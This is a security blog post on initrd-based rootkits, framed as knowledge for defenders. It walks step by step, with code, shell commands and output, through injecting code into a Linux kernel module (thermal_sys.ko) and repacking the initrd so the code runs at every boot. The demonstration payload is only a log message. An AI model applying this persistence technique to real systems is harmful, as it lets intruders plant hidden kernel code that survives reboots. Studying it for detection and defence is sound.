05
Threat Defiance Report

Is Your Initial Root Filesystem Safe? initrd-based rootkits

The initrd (initial ramdisk) is an initial temporary root file system that is mounted prior to the real root file system. When the initrd is mounted, it presents an opportunity for programs to be executed from it.  Afterwards, a new root file system can be mounted from a different device.  The previous root (from initrd) is then moved to a directory and can be subsequently unmounted. (Owen)

initrd is mainly designed to allow system startup to occur in two phases, where the kernel comes up with a minimum set of compiled-in drivers, and where additional modules are loaded from initrd. (Owen)

The initrd files usually reside in /boot directory, named initrd.img-$(uname –r) and has a symbolic link found /initrd.img pointing to the latest initrd.

There are many ways to maintain persistence on a system, whether it would be through the BIOS, a hard drive’s firmware, or maybe even through the video card installed on your PC. Each method
is a different way of attempting to maintain access after a system reboot. This blog will discuss one method that involves the temporary root file system, which gets loaded into memory by the boot loader.

THE INITIAL RAMDISK

The initrd (initial ramdisk) is an initial temporary root file system that is mounted prior to the real root file system. When the initrd is mounted, it presents an opportunity for programs to be executed from it. Afterwards, a new root file system can be mounted from a different device. The previous root (from initrd) is then moved to a directory and can be subsequently unmounted. (Owen)

initrd is mainly designed to allow system startup to occur in two phases, where the kernel comes up with a minimum set of compiled-in drivers, and where additional modules are loaded from initrd. (Owen)

The initrd files usually reside in /boot directory, named initrd.img-$(uname –r) and has a symbolic link found /initrd.img pointing to the latest initrd.

WHAT IS A ROOTKIT?

Rootkits are software or hardware typically installed by an adversary, which can hide malicious processes and provide continuing access to a compromised system. Rootkits can facilitate reentry to the system through the use of a backdoor. Most rootkits provide “root” or system level access to the compromised host. Most sophisticated rootkits will hide their presence, as well as other applications, processes, files, network connections, circumvent logging, obfuscate itself in memory, evade scanners, etc.

PURPOSE

This blog is intended to provide a cyber defender and the cybersecurity community with knowledge necessary to hunt for malicious activity. This will also bring more awareness of cyber adversary tactics, techniques, and procedures.

THE MEAT

Thanks to the work done by truff and styx with their articles on Phrack (#61 & #68). Phrack #61 introduced a new method to infect a loadable kernel module on Linux kernel x86 2.4.x series. However, the described method is no longer compatible with the Linux kernel 2.6.x/3.0.x. Phrack #68 demonstrated how to infect a kernel module on Linux kernel x86 2.6.*/3.x.x series, specifically addressing the ability to manipulate the symbol table in the ELF header on 32 bit systems.

I decided to take some time and see if this will work on 64-bit architectures. I powered up a Virtual Machine to test its application!

This project is merely picking up on where they finished. Using styx’s example from Phrack #68 against an x86 architecture, I will demonstrate implementation of this methodology on an x86_64-bit machine. You can reference the Phrack articles for the examples as necessary, as this article is focused on demonstrating on an x86 64-bit machine.

The operating environment used in this article is a Debian 6 box.

# uname –a
Linux debian6 3.2.0-0.bpo.4-amd64 #1 SMP Debian 3.2.65-1+deb7u2~bpo60+1 x86_64 GNU/
Linux

Do not ask me why I have a backported kernel, probably some project I was working on but nonetheless, it is x86_64. Now, let us create a couple of kernel modules that we can use in the test. We will have good.c code, which will be our untainted kernel module that you can compile and load into kernel space. Our bad.c code is meant to demonstrate that we can have the original kernel module still work as well as having new code execute, whether it is malicious or not. Here is our basic kernel module code that we will use as our test for injection of malicious code.

/* good.c */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
MODULE_LICENSE(“GPL”);
MODULE_AUTHOR(“Proto-Phreek”);
MODULE_DESCRIPTION(“Just for fun”);
static int __init init(void)
{
printk(KERN_INFO “Loaded!\n”);
return 0;
}
static void __exit cleanup(void)
{
printk(KERN_INFO “Unloaded!\n”);
}
module_init(init);
module_exit(cleanup);

Let’s test our good.c module to ensure that it works. Here is our Makefile we will use:

obj-m += good.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
clean:
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean
# make

Then using insmod/rmmod, you can load and unload your new kernel module.

# insmod good.ko && dmesg
[95602.992663] Loaded!
# rmmod good && dmesg | tail -1
[95647.301710] Unloaded!

All right, so that works as planned. As you can see, we were able to successfully load and unload our new kernel module. Now, let us see if we can inject bad code into our good code.

This will be our malicious test code that we will use to inject into:

/* bad.c */
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
MODULE_LICENSE(“GPL”);
MODULE_AUTHOR(“Proto-Phreek”);
MODULE_DESCRIPTION(“Don’t have a good feeling about this!”);
extern int __init init(void);
int __init badguy(void) {
init();
printk(KERN_INFO “Your journey towards the darkside is now complete!”);
return 0;
}

Adjust your make file to include your bad.c file.

obj-m += good.o bad.o

From here, we use the objcopy tool to change the scope of the init function from local to global. Objcopy is a utility that copies the contents of an object file to another. What we are going to use it for is to change the init() function from a local scope to a global scope so the function can be accessed outside of the file.

# objcopy --globalize-symbol=init good.ko good2.ko
Now our init function should show a ‘g’ in column two.
# objdump –t good2.ko | grep init

This is perfect! Let us link our bad code to our good code! This will link our objects together in a final kernel object.

# ld –r good2.ko bad.ko –o sweet.ko
# objdump –t sweet.ko
0000000000000000 g O .gnu.linkonce.this_module   0000000000000268 __this_module
0000000000000000 g F .exit.text   0000000000000014 cleanup_module
0000000000000000 g F .init.text    000000000000001b init_module
0000000000000016 g F .init.text    000000000000001b badguy

All we have to do now is change the address of our init_module to point to the badguy function and hope it works!

# ./symbol_remap64 init_module 0000000000000016 sweet.ko
Sweet.ko opened...
Address of &value: 0140737488348160
New Value: 0000000000000016
Replacing 0x0000000000000000 with 0x0000000000000016

# objdump –t sweet.ko
0000000000000000 g O .gnu.linkonce.this_module   0000000000000268 __this_module
0000000000000000 g F .exit.text   0000000000000014 cleanup_module
0000000000000016 g F .init.text    000000000000001b init_module
0000000000000016 g F .init.text    000000000000001b badguy

# cp sweet.ko good.ko
# insmod good.ko && dmesg | tail -2

[100174.686006] Loaded!
[100174.686013] Your journey towards the darkside is now complete!

Success! Now let us see if we can open our initrd and inject our bad code into a kernel module.

# cd `mktemp -d` && gzip -dc /boot/initrd.img-`uname -r` | cpio -ivd
# cd lib/modules/3.2.0-0.bpo.4-amd64/kernel/drivers/thermal
# objdump -t thermal_sys.ko | grep init
0000000000000000 l F .init.text    000000000000006f thermal_init
0000000000000000 l d .init.text    0000000000000000 .init.text
0000000000000000 *UND*           0000000000000000 idr_init
0000000000000000 g F .init.text   000000000000006f init_module

At this point, let’s change the bad.c to reflect that we want to infect the thermal_init() function by calling the real function from our badguy() function.

/* bad.c */
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

MODULE_LICENSE(“GPL”);
MODULE_AUTHOR(“Proto-Phreek”);
MODULE_DESCRIPTION(“Don’t have a good feeling about this!”);


extern int __init thermal_init(void);

int __init badguy(void) {

thermal_init();
printk(KERN_INFO “Your journey towards the darkside is now complete, Thermal!!”);
return 0;
}

# objcopy --globalize-symbol=thermal_init thermal_sys.ko thermal2_sys.ko
# ld –r thermal2_sys.ko bad.ko –o thermal_new.ko
# objdump -t thermal_new.ko | grep init
0000000000000000 l d .init.text     0000000000000000 .init.text
0000000000000000 g F .init.text    000000000000006f thermal_init
0000000000000000 *UND*            0000000000000000 idr_init
0000000000000000 g F .init.text    000000000000006f init_module
0000000000000000 *UND*            0000000000000000 init_net
0000000000000000 *UND*            0000000000000000 __mutex_init
0000000000000000 *UND*            0000000000000000 init_timer_key
000000000000006f g F .init.text     000000000000001b badguy

# ./symbol_remap64 init_module 000000000000006f thermal_new.ko
# mv thermal_new.ko thermal_sys.ko

That should be it. Let us put initrd back together, reboot and hope for the best!

# find . | cpio -o -H newc > ../initrd.img-`uname -r`
# gzip ../initrd.img-3.2.0-0.bpo.4-amd64
# cp ../initrd.img-3.2.0-0.bpo.4-amd64.gz /boot/initrd.img-3.2.0-0.bpo.4-amd64
# reboot
# dmesg
[ 136.093727] Your journey towards the darkside is now complete, Thermal!!

The above dmesg output should happen every time you reboot.

 

References

ELF-64 Object File Format
http://h21007.www2.hp.com/portal/download/files/prot/files/STK/pdfs/elf-64-hp.pdf

Infecting loadable kernel modules
http://phrack.org/issues/61/10.html#article

Infecting loadable kernel modules kernel version 2.6.x/3.0.x
http://www.phrack.com/issues/68/11.html

Linux Cross Reference
http://lxr.linux.no/

Love, Robert. Linux Kernel Development (3rd Edition). 2010

Debian Wiki
https://wiki.debian.org/Initrd